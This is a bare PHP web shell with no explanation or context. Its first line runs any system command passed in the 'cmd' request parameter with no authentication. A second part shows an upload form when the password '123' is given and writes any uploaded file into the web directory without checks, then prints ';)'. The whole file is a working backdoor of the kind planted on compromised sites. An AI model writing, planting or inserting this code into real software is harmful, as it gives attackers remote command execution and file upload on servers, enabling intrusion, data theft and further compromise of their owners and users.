up

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
<?php
error_reporting(E_ALL);
error_reporting(0);
        if (isset ($_GET["passwd"]) and $_GET["passwd"]=="123")
                {
                ?>
                <body onload="command.focus()">
                <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                <input type="hidden" name="MAX_FILE_SIZE" value="900000" />
                upload: <input name="uploaded" type="file" /><br />
                <input type="submit" value="Upload" />
                </form>
                </body>
                <?php
                }
        $target_path = "./";

        $target_path = $target_path . basename( $_FILES['uploaded']['name']);

        if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path))
                {
                echo ";)";
                }
?>